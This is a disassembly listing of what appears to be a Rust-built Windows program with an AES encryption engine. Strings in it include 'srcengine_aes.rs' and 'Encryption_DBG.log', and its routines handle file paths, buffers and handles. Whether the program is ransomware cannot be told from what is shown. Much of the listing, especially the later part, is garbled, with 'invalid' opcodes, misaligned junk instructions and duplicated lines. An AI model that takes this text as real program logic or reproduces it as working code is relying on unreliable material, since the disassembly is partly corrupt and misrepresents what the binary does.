mov dword [rsp + 0x4ac], ecx
mov dword [rsp + 0x4b0], edx
mov qword [rsp + 0x4b4], 1
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xd0], xmm0
movzx r8d, byte [section..data]
cmp r8b, 1
jne 0x14001de33
lea rdx, [rsp + 0x4a8]
lea rcx, [rsp + 0xa00]
lea r8, [rsp + 0xd0]
call fcn.140016600
jmp 0x14001dea8
mov dword [rsp + 0x4b8], 1
mov dword [rsp + 0x640], eax
mov dword [rsp + 0x644], ecx
mov dword [rsp + 0x648], edx
mov dword [rsp + 0x64c], 0x1000000
movdqu xmmword [rsp + 0x650], xmm0
movdqu xmmword [rsp + 0x660], xmm0
movdqu xmmword [rsp + 0x670], xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0xa00]
lea r8, [rsp + 0x640]
call fcn.14003f180
movdqu xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x4a0]
movups xmm1, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
movdqa xmm6, xmmword [rsp + 0xd0]
mov rbx, rsi
and rbx, 0xf
je 0x14001dee9
mov eax, dword [rsp + 0x58]
mov ecx, 0xffffffff
xor rcx, rax
cmp rbx, rcx
jae 0x14001e6a5
mov r14, rdi
mov r15, rsi
cmp rsi, 0x11
jb 0x14001df33
mov rax, rsi
shr rax, 4
mov r14, rsi
and r14, 0xfffffffffffffff0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rax
add r14, rdi
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xe0]
call fcn.1400156a0
mov r15, rbx
test r15, r15
je 0x14001dfb1
lea rax, [r15 - 0x10]
neg rax
cmp r15, 0x10
mov r8d, 0
cmovb r8, rax
lea rcx, [rsp + r15]
add rcx, 0x4a0
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r12, [rsp + 0x4a0]
mov rcx, r12
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x640], r12
mov qword [rsp + 0x648], r12
mov qword [rsp + 0x650], 1
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x640]
call fcn.1400156a0
mov rcx, r14
mov rdx, r12
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f9001]
movaps xmm0, xmmword [rsp + 0xdc0]
movdqa xmm1, xmmword [rsp + 0xdd0]
movaps xmmword [rsp + 0xe0], xmm0
movdqa xmmword [rsp + 0xf0], xmm1
movzx eax, byte [0x1400f9001]
mov r8, rsi
shr r8, 4
lea rcx, [rsp + 0xe0]
mov rdx, rdi
call fcn.14001a8f0
test rbx, rbx
je 0x14001e04e
mov rax, rsi
and rax, 0xfffffffffffffff0
add rdi, rax
mov r8d, 0x10
sub r8, rbx
lea rcx, [rsp + rbx]
add rcx, 0x640
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x640]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0xe0]
mov r8d, 1
mov rdx, r14
call fcn.14001a8f0
shl rsi, 3
bswap rsi
mov qword [rsp + 0x640], 0
mov qword [rsp + 0x648], rsi
lea rcx, [rsp + 0xe0]
lea rdi, [rsp + 0x640]
mov r8d, 1
mov rdx, rdi
call fcn.14001a8f0
movdqa xmm0, xmmword [rsp + 0xf0]
movzx eax, byte [0x1400f9001]
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm2, xmm2, 0x4e
pshuflw xmm2, xmm2, 0x1b
pshufhw xmm2, xmm2, 0x1b
punpckhbw xmm0, xmm1
pshufd xmm0, xmm0, 0x4e
pshuflw xmm0, xmm0, 0x1b
pshufhw xmm7, xmm0, 0x1b
packuswb xmm7, xmm2
pxor xmm7, xmm6
mov rbp, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
mov rax, rbp
sub rax, r14
cmp rax, 0xf
jbe 0x14001e2de
mov rbx, qword [rsp + 0x80]
movdqu xmmword [rbx + r14], xmm7
add r14, 0x10
je 0x14001e316
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov dword [rsp + 0xe0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xe8], xmm0
mov dword [rsp + 0xf8], 7
mov qword [rsp + 0xfc], 0
mov word [rsp + 0x104], 0
mov byte [rsp + 0x101], 1
mov byte [rsp + 0x104], 1
mov byte [rsp + 0x103], 1
lea r8, [rsp + 0xe0]
call fcn.140082100
mov r15, rdx
test rax, rax
je 0x14001e1b5
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x14001e643
mov qword [rax], r15
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
jmp 0x14001e29f
mov qword [rsp + 0x40], r15
lea rcx, [rsp + 0xe0]
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call fcn.140083250
cmp qword [rsp + 0xe0], 0
je 0x14001e243
mov rsi, qword [rsp + 0xe8]
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x14001e643
mov qword [rax], rsi
jmp 0x14001e281
mov qword [rsp + 0x80], 1
movdqu xmmword [rsp + 0x88], xmm6
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8, r14
call fcn.1400ab0a0
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x90]
jmp 0x14001dd54
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov r8, r14
call fcn.140008210
test rax, rax
je 0x14001e35d
mov r14, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x14001e643
mov qword [rax], r14
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, qword [rsp + 0x38]
test rbp, rbp
je 0x14001e2bb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [section..data]
mov r12, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
test r12, r12
jne 0x14001caf4
jmp 0x14001cb08
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.1400a9d40
mov rbp, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x80]
movdqu xmmword [rbx + r14], xmm7
add r14, 0x10
jne 0x14001e105
pxor xmm0, xmm0
mov rax, qword [rsp + 0x30]
movdqu xmmword [rax], xmm0
test rbp, rbp
je 0x14001e33a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x70], 0
jne 0x14001caf4
jmp 0x14001cb08
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x640], rax
lea rax, [0x140051570]
mov qword [rsp + 0x648], rax
lea rcx, str..abbt
mov qword [rsp + 0x650], rcx
mov qword [rsp + 0x658], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 2
lea rcx, [rsp + 0x4a0]
lea rdx, [rsp + 0xe0]
call fcn.14000f9b0
mov rdi, qword [rsp + 0x4a0]
mov rsi, qword [rsp + 0x4a8]
mov r14, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, rdi
mov r9, r14
call fcn.140096730
test rax, rax
je 0x14001e473
mov r15, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x14001e643
mov qword [rax], r15
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
test rsi, rsi
je 0x14001e294
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001e294
mov qword [rsp + 0xa0], rsi
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x640]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x658], 3
jne 0x14001e6d3
mov rdx, qword [rsp + 0x640]
mov rsi, qword [rsp + 0x648]
mov r8, qword [rsp + 0x650]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0xc0], rdx
call fcn.140086540
mov r12, qword [rsp + 0xe0]
mov r13, qword [rsp + 0xf0]
lea rdx, str.Encryption_DBG.log
lea r15, [rsp + 0x640]
mov r8d, 0x12
mov rcx, r15
call fcn.14000fa90
lea rcx, [rsp + 0x4a0]
mov rdx, r12
mov r8, r13
mov r9, r15
call fcn.1400088b0
cmp qword [rsp + 0xe8], 0
je 0x14001e540
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x14001e55c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x4a0]
mov r8, qword [rsp + 0x4b0]
lea rcx, [rsp + 0xe0]
mov rdx, r15
call fcn.140043490
cmp qword [rsp + 0xe0], 0
mov rsi, qword [rsp + 0xa0]
jne 0x14001e721
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
mov r8, rdi
mov r9, r14
call fcn.140025670
test rax, rax
je 0x14001e60d
mov r14, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x14001e643
mov qword [rax], r14
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
lea rax, [0x1400b0c00]
mov qword [rcx + 8], rax
cmp qword [rsp + 0x4a8], 0
je 0x14001e453
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001e453
cmp qword [rsp + 0x4a8], 0
je 0x14001e62a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x30]
mov qword [rax + 8], 1
mov qword [rax], 0
jmp 0x14001e453
mov ecx, 8
mov edx, 8
call fcn.1400a9e00
ud2
lea r8, [0x1400e8f68]
mov edx, 0x20
mov rcx, rdi
call fcn.1400aa020
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, r13
mov rdx, rax
call fcn.1400aa2f0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, rax
call fcn.1400aa020
ud2
mov ecx, 1
mov rdx, r12
call fcn.1400a9e00
ud2
call fcn.1400402a0
ud2
lea rax, str.X_f_v_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1250]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.1400aa430
ud2
movups xmm0, xmmword [rsp + 0x640]
movups xmm1, xmmword [rsp + 0x650]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
lea rax, str.srcengine_aes.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1270]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.1400aa430
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcengine_aes.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
and al, 1
add byte [rax], al
lea rcx, [rsp + 0x429]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov word [rcx + rbp], fs
add al, 0
add byte [rbx + 0x3498b01], cl
mov dword [rsp + 0x283], ecx
mov dword [rsp + 0x280], eax
and al, 0x80
add al, byte [rax]
add byte [rcx], dh
invalid
and al, 0x80
add al, byte [rax]
add byte [rcx], dh
ror byte [rax - 0x77], 0xbc
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], r15
invalid
invalid
test byte [rax + riz], ah
and byte [rax + rax], al
mov qword [rsp + 0x410], rdi
mov qword [rsp + 0x418], r15
mov qword [rsp + 0x420], r8
and byte [rax + rax], al
add byte [rax + 0x4282484], cl
add byte [rax], al
and byte [rax + rax], al
add byte [rax + 0x4282484], cl
add byte [rax], al
mov eax, dword [rsp + 0x280]
mov ecx, dword [rsp + 0x283]
mov dword [rsp + 0x429], eax
mov dword [rsp + 0x42c], ecx
add byte [rax - 0x73], cl
add eax, 0x94bd6
add byte [rax - 0x73], cl
add eax, 0x94bd6
jmp 0x140023a3f
sub dword [rax + rax], eax
add byte [rcx + 0x42c248c], cl
add byte [rax], al
lea rax, str.srcui_render.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1270]
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x10
add al, 0
add byte [rdx + 0x2b], bh
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x10
add al, 0
add byte [rdx + 0x2b], bh
call fcn.1400aa430
ud2
mov rsi, rcx
mov qword [rsp + 0x50], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], r8
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x140023ad2
add rax, 0x110
jmp 0x140023ad7
call fcn.1400686f0
lea rcx, [rsp + 0x88]
lea rdx, [rsp + 0x78]
lea edx, [rsp + 0x78]
lea edx, [rsp + 0x78]
mov rax, qword [rax]
mov r9, qword [rax + 0x210]
xor eax, eax
cmp rdi, 0xffffffffffffffff
invalid
dec dword [rdi]
xchg esp, eax
ror byte [rcx + rdi - 0x38], 0x4c
cmova ecx, eax
mov qword [rsp + 0x40], rcx
and al, 0x40
invalid
and al, 0x40
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 1
mov rdx, rdi
xor r8d, r8d
call fcn.140010e30
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x98]
lea rcx, [rsp + 0x50]
call fcn.140010950
mov rax, qword [rsp + 0x60]
invalid
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi], xmm0
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
invalid
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x290], esi
and al, 0x90
add al, byte [rax]
invalid
and al, 0x90
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rbx*8], fs
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp], ah
add dword [rax], eax
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x128], 8
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
test byte [rdi], 0x11
mov ah, 0x24
xor byte [rcx], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
test byte [rdi], 0x11
mov ah, 0x24
xor byte [rcx], al
add byte [rax], al
test r8, r8
je 0x14002503f
mov r12, rdx
mov rax, r8
shl rax, 4
add rax, rdx
mov qword [rsp + 0x208], rax
lea r14, [rsp + 0x198]
lea rbp, [rsp + 0x160]
lea r15, [rsp + 0xd0]
mov esp, 0xd024
add byte [rbp + 0x31], al
in eax, dx
invalid
mov esp, 0xd024
add byte [rbp + 0x31], al
in eax, dx
jmp 0x140023bfb
lea rcx, [rsp + 0x218]
call fcn.14000a3d0
cmp r12, qword [rsp + 0x208]
je 0x14002503f
mov rdx, qword [r12]
mov rsi, qword [r12 + 8]
mov rcx, rbp
mov qword [rsp + 0x30], rdx
mov r8, rsi
call fcn.14004d370
cmp byte [rsp + 0x190], 2
je 0x14002506f
mov qword [rsp + 0x1f8], rsi
mov dword [rsp + 0x3c], edi
cmp qword [rsp + 0x168], 0
je 0x140023c50
mov r8, qword [rsp + 0x160]
mov rcx, qword [0x1400f91f8]
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
or eax, 0xd55b0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x178]
js 0x140023c57
add byte [rax], al
add byte [rax - 0x75], cl
mov esp, 0x18824
add byte [rax - 0x7b], cl
push qword [rbx + rdi + 0x48]
lea ebx, [rsi + 0x10]
mov rdi, qword [rsp + 0x188]
test rdi, rdi
je case.0x140026e2f.275
lea rbx, [rsi + 0x10]
jmp 0x140023c79
add rbx, 0x20
dec rdi
je case.0x140026e2f.275
mov eax, dword [rbx - 0x10]
cmp rax, 4
jb 0x140023c70
cmp eax, 4
cmp qword [rbx], 0
je 0x140023c70
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x8c76a
invalid
sar bh, cl
adc eax, 0x8c76a
invalid
add bl, ch
ror byte [rax - 0x7d], 1
cmp qword [rsp + 0x180], 0
jmp 0x140023c70
cmp qword [rsp + 0x180], 0
je case.default.0x140023d04
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x8c74b
ror byte [rcx - 0x77], cl
invalid
adc eax, 0x8c74b
invalid
mov rcx, r15
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
mov rdx, rsi
mov rbx, qword [rsp + 0x1f8]
clc
add dword [rax], eax
add byte [rcx - 0x77], cl
fsubr st(0)
sbb byte [rax - 0x49f0fffb], ch
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
invalid
clc
add dword [rax], eax
add byte [rcx - 0x77], cl
fsubr st(0)
sbb byte [rax - 0x49f0fffb], ch
test byte [rax + rdx*8], ah
test al, 5
add byte [rdi], cl
mov dh, 0x84
and al, 0xd0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf0
mov rdx, qword [rsp + 0xf0]
mov edx, dword [rsp + 0xf0]
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1400ef2a4]
movsxd r9, dword [r8 + rax*4]
lea r8, [0x1400ef2a4]
add eax, 0xcb5ad
movsxd r9, dword [r8 + rax*4]
add r9, r8
mov rax, rbx
mov r8, rsi
jmp r9
add rcx, 4
add ecx, 4
jmp 0x140023d50
lea rax, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
add ecx, 8
add ecx, 8
jmp 0x140023d50
mov ecx, 6
jmp 0x140023d50
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp 0x140023d50
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
ret 0x148
mov ecx, 2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, rbx
sub rax, rcx
jb 0x140025150
add rcx, rsi
mov r8, rcx
test rax, rax
je 0x140023d80
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140023d82
xor eax, eax
add r12, 0x10
mov rcx, qword [rsp + 0xf0]
lea rdx, [rsp + 0x179]
mov qword [rdx + 0x4f], rcx
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [rdx + 0x3f], xmm1
invalid
movups xmmword [rdx + 0x2f], xmm0
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], rbx
mov word [rsp + 0x1d0], 0x200
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax], al
add cl, byte [rax + 0x1d22484]
add byte [rax], al
invalid
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax], al
add cl, byte [rax + 0x1d22484]
add byte [rax], al
nop word cs:[rax + rax]
mov byte [rsp + 0x160], 0xb
mov rcx, rbp
mov rdx, r14
bnd call fcn.14007e9a0
add byte [rax], al
or ecx, dword [rax - 0x77]
jmp 0x128f4c73b
invalid
invalid
bnd call fcn.14007e9a0
movzx eax, byte [rsp + 0x160]
cmp eax, 7
clc
invalid
jb case.default.0x140023e37
clc
invalid
mov rdx, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov eax, dword [rsp + 0x170]
add byte [rax], al
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x58]
and al, 0x58
pop rax
movups xmmword [rcx], xmm6
mov byte [rsp + 0x68], 1
add eax, 0xfffffff9
and al, 0x68
add dword [rbx - 0x72b70640], eax
lea rcx, [0x1400ef2c0]
lea rcx, [0x1400ef2c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x140023e7b
mov r8d, 1
mov eax, 1
add byte [rax], al
lea rdx, [0x1400e9143]
adc eax, 0xc52fd
jmp case.0x140023e37.2
add byte [rax], al
add byte [rax], al
mov r8d, 2
lea rdx, str....
lea rcx, [rsp + 0x50]
and al, 0x50
call fcn.1400837f0
movups xmm0, xmmword [r14]
adc byte [rsi], al
stc
add eax, 0x100f4100
adc byte [rsi], al
adc byte [rsi], al
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
adc byte [rsi + 0x20], dl
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x100], xmm3
pushfq
and al, 0
add dword [rax], eax
invalid
sub dword [rsp + 0x100], ebx
pushfq
and al, 0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], edx
movaps xmmword [rsp + 0xf0], xmm2
xchg esp, eax
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], ecx
mov word [rax + riz*8], fs
add byte [rax], al
invalid
movaps xmmword [rsp + 0xe0], xmm1
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], eax
add byte [rax], al
loopne 0x140023e90
add byte [rax], al
movaps xmmword [rsp + 0xd0], xmm0
add byte [rax], al
jmp 0x140023eba
mov rdx, qword [rsp + 0x98]
mov edx, dword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax], al
invalid
invalid
mov r8, qword [rsp + 0xa0]
add byte [rax], al
nop dword [rax]
lea rcx, [rsp + 0x50]
call fcn.1400837f0
invalid
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
lea rcx, [rsp + 0x90]
mov rdx, r15
cli
call fcn.14007e9a0
movzx eax, byte [rsp + 0x90]
invalid
add byte [rax], al
add byte [rdx + rcx], bh
cmp al, 0xa
je case.default.0x140023efa
add al, 0xfa
movzx eax, al
lea r8, [rax + 1]
cmp al, 4
add al, 0x4d
cmovae eax, ebp
add al, 0x4d
cmovae eax, ebp
lea rcx, [0x1400ef2d0]
movsxd rax, dword [rcx + r8*4]
add rax, rcx
add eax, ecx
lea rdx, [0x1400e9142]
or al, 0
jmp rax
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
jmp case.0x140075d15.19
invalid
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bl, ch
movabs byte [0x8d4800000001b841], al
adc eax, 0xc5228
or al, 0
mov r8d, 1
add byte [rax], al
lea rdx, [0x1400e9143]
or al, 0
add bl, ch
xchg ebx, eax
jmp case.0x140075d15.19
mov r8d, 2
lea rdx, str....
jmp case.0x140075d15.19
invalid
add byte [rax - 0x75], cl
and al, 0x50
mov rax, qword [rsp + 0x50]
push rax
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x140], rax
mov rdi, qword [rsp + 0x60]
mov edi, dword [rsp + 0x60]
mov edi, dword [rsp + 0x60]
jl 0x140023f6f
and al, 0x60
invalid
jmp 0x140023f66
nop
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x78
mov qword [rsp + 0x78], rax
xor edi, edi
xor eax, eax
mov qword [rsp + 0x140], rax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
mov r8, rbx
mov rdx, rsi
mov edx, esi
mov r8, rbx
call fcn.14007e4f0
movzx eax, byte [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
mov ecx, dword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
mov edx, dword [rsp + 0xb0]
invalid
invalid
invalid
mov rdx, qword [rsp + 0xb0]
mov edx, dword [rsp + 0xb0]
lea r8, [0x1400ef2e4]
movsxd r9, dword [r8 + rax*4]
or al, 0x80
mov bl, 0xc
add byte [rbp + 0x63], cl
or al, 0x80
add r9, r8
add ecx, eax
ror dword [rax - 0x77], 0xd8
mov rax, rbx
mov r8, rsi
jmp r9
add rcx, 4
jmp case.0x14001bae2.45
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp case.0x14001bae2.45
ror dword [rax - 0x7d], 0xc1
or bl, ch
mov ecx, 6
mov ecx, 6
mov ecx, 6
jmp case.0x14001bae2.45
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
jmp case.0x14001bae2.45
mov ecx, 2
add al, byte [rax]
add byte [rax], al
nop word cs:[rax + rax]
mov rax, rbx
sub rax, rcx
jb 0x140025150
add rcx, rsi
mov r8, rcx
test rax, rax
je case.0x14001ba11.51
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x140024022
invalid
xor eax, eax
mov rcx, qword [rsp + 0xb0]
lea rdx, [rsp + 0xe9]
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xe9
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
invalid
lea edx, [rsp + 0xe9]
mov qword [rdx + 0x17], rcx
movups xmm0, xmmword [rsp + 0x90]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
movups xmmword [rdx + 7], xmm1
adc dword [rdx + 7], ecx
movups xmmword [rdx - 9], xmm0
mov qword [rsp + 0x50], 1
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
movups xmmword [rcx], xmm6
adc dword [rcx], esi
mov byte [rsp + 0x68], 1
mov qword [rsp + 0xd0], rsi
add byte [rax], al
and al, 0x68
add dword [rax - 0x77], ecx
mov ah, 0x24
rol byte [rax], 1
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xd8
fadd dword [rax]
add byte [rax], al
invalid
invalid
test byte [rax + rcx], ah
mov qword [rsp + 0xd8], rbx
fadd dword [rax]
add byte [rax], al
mov word [rsp + 0x108], 0x200
mov byte [rsp + 0x10a], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax], al
add cl, byte [rax + 0x10a2484]
add dword [rax], eax
invalid
add dword [rax], eax
add bl, ch
and ecx, dword [rax - 0x75]
mov rdx, qword [rsp + 0x98]
invalid
invalid
test byte [rax + riz*4], ah
jmp 0x1400240aa
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
invalid
mov eax, dword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
nop word [rax + rax]
lea rcx, [rsp + 0x50]
and al, 0x50
